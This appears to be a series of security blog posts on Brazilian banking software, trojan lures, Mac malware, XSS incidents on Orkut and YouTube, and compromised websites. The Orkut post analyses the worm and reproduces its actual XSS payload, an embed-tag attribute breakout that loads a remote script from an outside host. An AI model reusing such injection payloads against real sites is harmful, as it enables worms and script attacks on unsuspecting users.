In an interview given to the Brazilian press, F-Secure’s Mikko Hyppönen said that it isn’t safe to access your bank through the Internet in Brazil. He suggested some solutions, such as using a virtual machine solely for online banking activities.
I agree with Hyppönen that using a virtual machine might be good idea, but for a different reason than his.
Brazilian banks have been forcing users to install “protection” software. I can’t find any information regarding how exactly they work in order to protect the users, or if they work at all. In my experience, these softwares have never prevented a trojan to be installed. They sometimes prevent users of non-Windows computers - which can’t install such software - from accessing the online bank, though. (An irony, given how the protection is currently only needed for Windows computers; Hyppönen says in the Interview that even phone banking is safer.)
The main offender is a program called G-Buster Browser Defense, also called GBIEH, by GAS Tecnologia
As an administrator of a technology-related forum, I cay say that many users complain about the side-effects of G-Buster. It just can’t be easily uninstalled (no entry in Add/Remove Programs or official documentation regarding its removal). It has ended up in antivirus and anti-spyware definition lists multiple time due to its persistent behavior: it comes back if you try to simply delete it; it hooks up into processes and polls registry keys, slowing the system down; it starts up as a Winlogon Notify DLL and as a Service, and both restore each other. A user told me a few days ago he needed to know how to remove it because his machines all became slow after its installation.
I find removing such “protection” software a harder task than removing the trojans themselves. It pretty much seems like a trojan horse to me. And it seems like a trojan to the trojan makers as well: the newest Banker trojans are including the UnHackMe anti-rootkit software and a definition list that forces it to delete G-Buster.
It is interesting how a tool that was supposed to be used to remove trojan horses ends up being used by trojan horses to remove protection software. (Though we have seen security tools being used by trojans, such as when a spambot installed a hacked copy of Dr. Web, but in Dr. Web’s case the target were competing bots, not the protection software itself.) Previously, trojans have tried SYSTEM-privileged Task Scheduler jobs and DEL commands in Autoexec.bat in order to remove GBIEH, but updates made removing it harder and harder. Back when it was first released, deleting it with IE closed was enough to make it go away.
Since every online banking user needs to “infect” himself with such software, I do recommend a virtual machine to be used, or else you might have something that even the trojans themselves are having issues to get rid of.
Here you can find an analysis of G-Buster and instructions on how to get rid of it, though it’s outdated (April 2007) and I know — through the tracking of trojans that attempt to remove it — that the software has been getting constant updates to make its removal harder.
[Update 2008-03-05] Symantec included the installation of UnHackMe in one of their descriptions, causing problems to the anti-rootkit developers. I think I should make it clear here that I don’t think UnHackMe has any sort of blame. It’s a legitimate tool. If we are going to outlaw and/or flag as malicious anything that can possibly be used for bad things I think we should start by outlawing hammers, deleting every internet browser — since they can render phishing pages, which systems without browsers can’t –, and ban the Windows API, which has dangerous commands that allow registry editing and file removal.
I said in my previous post that the XSS flaw that caused the “infection” of about 660 000 Orkut profiles was probably present in the way Orkut parsed Flash objects.
Analysis of the worm showed that this is in fact the case. More specifically, there was a bug in the parsing of at least one of the attributes of the ‘embed’ HTML tag — a tag that was allowed by Orkut along with others. What follows are technical details.
The malicious code that the worm was sending to Orkut’s Scrapbook system was this one:
<embed src=”http://www.orkut.com/LoL.aspx” type=”application/x-shockwave-flash” wmode=\”transparent’); script=document.createElement(’script’);
script.src=’http://files.myopera.com/virusdoorkut/files/virus.js’;
document.getElementsByTagName(’head’)[0].appendChild(script); escape(’” width=”1″ height=”1″></embed>
This code is supposed to insert a Flash object. The malicious part starts after “wmode”. ‘transparent’ is a valid “wmode” attribute, but it’s not supposed to contain characters such as “);”. Google should have stripped this out of the existence. Why? Because Google transforms this HTML into a Javascript to insert the Flash object:
……..
var flashWriter = new _SWFObject(’http://www.orkut.com/LoL.aspx’, ‘521601098′, ‘1′, ‘1′, ‘9′, ‘#FFFFFF’, ‘autohigh’, ”, ”, ‘521601098′);
flashWriter._addParam(’wmode’, ‘transparent‘);
script=document.createElement(’script’);
script.src=’http://files.myopera.com/virusdoorkut/files/virus.js’;
document.getElementsByTagName(’head’)[0].appendChild(script); escape(”);
flashWriter._addParam(’allowNetworking’, ‘internal’);
………
What should have been stripped was inserted into the script. The part in bold effectively ended the call to the “addParam” function and gave free reign to the code responsible for running the worm (italics).
Any code or script could have been loaded by the attacker at this point. The file in Opera’s server is now giving a 403 Forbidden error and it’s the code of the worm. No other files were used.
As predicted: someone made Orkut a living hell by exploiting a XSS flaw in the “scrap” system. Any user, after reading his own scraps — probably the first thing most users do after logging on –, sent an infected scrap to all users in his friend list. The user also automatically joined a community called Infectados pelo Vírus do Orkut (”Infected by Orkut’s Virus”).
The community has almost 400 000 members at the time of this writing — a very respectful number considering it was achieved in just one day at most (although I believe the attack has been up for just a few hours). It seems, from my observations of the attack, that there was a flaw in the parsing of Flash object insertion, but there’s no guarantee. Google has now taken measures against further spreading of the attack.
The worm does nothing besides spreading and creates no file on the user’s hard drive — it runs in the scope of the user’s browser and Orkut’s website. A truly malicious programmer could have made much more destructive uses of a flaw like this one by using it together with browser exploits that would actually compromise the machines of the victims.
CAPTCHAs are images that contain words that a user must recognize during the process of account registration in many web services. Machines are unable to read these words easily, so a CAPTCHA is used to make sure that whoever is filling the form is in fact human.
Today I found an e-mail that pointed the user to a website where he was supposed to see pictures “someone” had sent to him. There are no pictures, as you might have guessed: it’s just an attempt to trick the user into installing a trojan horse.
After clicking the malicious link, you land in an innocent-looking page. Following a link in said page gets you in a page that has a CAPTCHA-like image. It is not a true CAPTCHA as the image (and the word written in it) never changes, but the page will not let you download the trojan horse if you don’t recognize the word (”lemonade” in Portuguese) correctly; it will show an error message if you don’t type the word as it is shown.
Thus, to successfully install this trojan, you need to:
- Read an e-mail message
- Click a link within it
- Click yet another link
- Type “limonada” with 8 keystrokes
- Click “OK” and run the virus
From another point of view, this attack makes the whole download process look more legitimate. Only attackers however will know whether users fell for it or not.
Cybercriminals want to profit. Creating malicious code requires time (or money, if they pay a third party to do it for them, as is the case with Banker trojans here in Brazil; you could also argue that time is money). A certain malicious code must make enough money for the criminals for it be worth the time or money spent on it.
So, a professional malware group is behind RSPlug, the latest Mac OS X trojan. The guys who created this trojan are supposedly the same ones behind Zlob, an infamous trojan responsible for the installation of infections such as “Smitfraud” (and its dozens of variants) — an infection that makes the user pay for its own removal. They’ve been doing this for years now. It must be profitable. Creating another trojan that does that is, economically speaking, risk-free.
But is RSPlug profitable? A trojan which redirects DNS requests aimed at only Mac users. Sure, these DNS servers are probably the same ones a malware for the Windows platform also uses. No need to set up additional servers. Still, they had to create the trojan, set up additional scripts in the website to detect OS X users, create the GUI, and spam the Mac forums. Was it worth it for the criminals?
They made a risky investment.
Granted, the investment was very small, since the trojan is relatively simple. But I do believe that this is like a test. Apple has been selling a lot of machines, and the Mac community is pretty focused. The criminals know where they can find Mac users to target their attacks. If it works, they’ll do it again. If it doesn’t, they’ll wait a few months, maybe a year, and try it again then.
If OS X gets enough market share, it might become a profitable operation. In which case the trojans will come around to stay. I doubt we’ve reached that point, but we will know soon enough - if more reports of OS X trojans created by professional virus writers keep coming, it’s a signal that we did.
An interesting spam message spreading a trojan horse was sent Friday (5th). It had “videos@youtube.com” in the From header and told the recipient that he/she was mentioned on one of YouTube’s most viewed videos. The message had a link to this supposed “video”, but was otherwise unimpressive and had lots of typos and spelling mistakes.
The interesting bit was in the link. It began with “www.youtube.com” and actually directed the user to YouTube’s “Forgot username” page. It was a really long link and had JavaScript code.
A cross-site scripting (XSS) flaw in the aforementioned YouTube page allowed the code to be executed on the context of the site. Very crafty, the attack’s scripts and styles created a fake window — that looked like a native “Luna”-themed window — using images. The message written on the window told the user that he/she needed to download an “ActiveX object” in order to be able to see the video. If the user decided to allow the download, he/she would be infected. If “Cancel” was clicked instead, the page would just repeat that the ActiveX download was needed.
Also of interest is that, although an entire frame was loaded on top of YouTube’s page, the attackers did not try to exploit any flaws on the user’s browser. Given how poorly-worded the e-mail was, it is possible that the XSS flaw was found by someone else and that the actual attackers aren’t really that competent; it is known that a lot of Brazilian trojans, for example, are not made by the people who actually use them, and instead are bought from a third party.
Before first publicizing the attack at Linha Defensiva earlier today, I contacted Google. They fixed the flaw in just 10 hours — a really fast and impressive response, much more so for a weekend.
It’s not news to a lot of people that popular websites get compromised to serve malware through iframes. It is news to Brazilians, however. Two well-known websites were compromised a week ago to serve malware.
One of them is a phone company website. It was compromised with an iframe inserted in its home page. The code was being loaded from a website hosted in a Yahoo! Premium hosting account. It is believed the criminals themselves signed up to this account. The attack was rather simple, and only a single MDAC exploit (details here) was used. Both the telephone company and Yahoo! were notified. Yahoo! took the site down first.
The other website is a popular humor website. This time the redirect — again with an MDAC exploit — was to a compromised host. If users depended on the efforts of the website, they would still be getting infected, as the iframe code is still up even after nearly one week of notification. Thankfully, the owners of the compromised host took the file down in no time.
It does show even network operators, like phone companies, aren’t prepared to deal with such attacks. In Brazil, defacement was (and still is) very popular — the 2nd largest TV network homepage was replaced this month with a protest message. But defacements can be quickly noted, which isn’t true of malicious iframes. Defacements are also more shameful, so website owners are more likely to shut their sites down until the problem is solved. That wasn’t true of any of the iframe cases, and we had word that the phone company, for one, as aware of the problem at least 12 hours before the file was taken down.
Even though the vulnerability used was an old one, a lot of users also don’t like to update their systems due to the high levels of piracy, as well as common misconceptions (like “updates slow your computer down”). One is left to wonder how many hits those iframes — both installing bank password stealers - got.
In a previous post, I wrote:
I also find it worrisome that people could trust those “hacker safe” images some sites have been displaying. [...]: even if the service that checks the site for potential problems works flawlessly (a big IF), [...]
Now there’s some data to support my argument: the best web application scanner finds 15.3% of vulnerabilities.
Some security problems are, in a way, social problems. That means they can be solved, at least partially, by telling users what kind of behavior is safe and what they can trust. There are a quite a few people who don’t believe this (Jakob Nielsen doesn’t, and he’s not alone). I don’t think that we’ll ever get to a point where security is so transparent that it’ll be there, do its job and stay unnoticed — not because I think security won’t evolve, but because it’s a fact that attackers evolve just as fast as security measures, if not faster.
The problem is that it’s too hard to teach users anything. First you tell them they can’t trust URLs (because it’s hard to teach them how to recognize the domain and file parts in an URL, etc), then someone wants a “.bank” that all users must trust. Then you say they can’t open EXE attachments, and along comes the Microsoft Word zero days. “What? Why can’t I open his resume?”
So what can users be told about the websites that like to display the results of their web application scanner testing? Don’t trust the images? Then why display them?
Yes, don’t display them, and no one needs to tell users anything. Thank you.
Microsoft has shut down AutoPatcher, a popular tool that allowed people to install all security patches to a Windows system without the need of an internet connection in the machine that the patches were going to be installed. To be fair, Microsoft has a similar service, but what I don’t buy is the argument that Microsoft killed AutoPatcher due to malicious code concerns.
From Neowin:
[T]he concern at Microsoft had more to do with the possible malicious code that could be redistributed with certified Microsoft updates.
We know who makes AutoPatcher. We’d know who is distributing viruses if they came from AutoPatcher. There’s absolutely no way someone could easily sneak a virus in an AutoPatcher release without setting off anti-virus alarms. Seriously, AutoPatcher has a face, something that malicious code does not.
Even if Microsoft insists in this argument, I won’t buy it. WGA, on the other hand, has been fighting with the user community since day one. It wouldn’t be surprising in the least if it was the cause of the “concern” at Microsoft. Much more surprising would be if a virus actually got into an AutoPatcher release.
The Guardian has the story about the possible use of tracking devices in school uniforms. It’s no surprise that this comes from a surveillance-happy society such as the UK.
People often forget what kind of problem they’re trying to solve when they think up of some solution. As some put it, they’re solutions looking for the problems. And I can’t see what kind of problem they’re trying to solve here.
The article quotes a poll, carried by the uniform maker that is planning to introduce this technology, where 59% of the parents showed interest in tracking their kids. However, people aren’t good at evaluating risks and, more often than not, they get it wrong.
It’s normal for any parent to be concerned over their child. What they really want, however, is to keep their kids safe, not the tracking device. They might think that attaching a satellite tracking device will make their kids safe, but reality might (and probably does) disagree.
There’s absolutely no data in the article that suggests that it would be good measure. Given the lack of data, it’s probably security theater at its best. If kids want to escape from school to do something they think is important, a change of clothes is no challenge. The same applies to kidnappers.
What else is there to worry about? Kids getting lost? How often does that happen?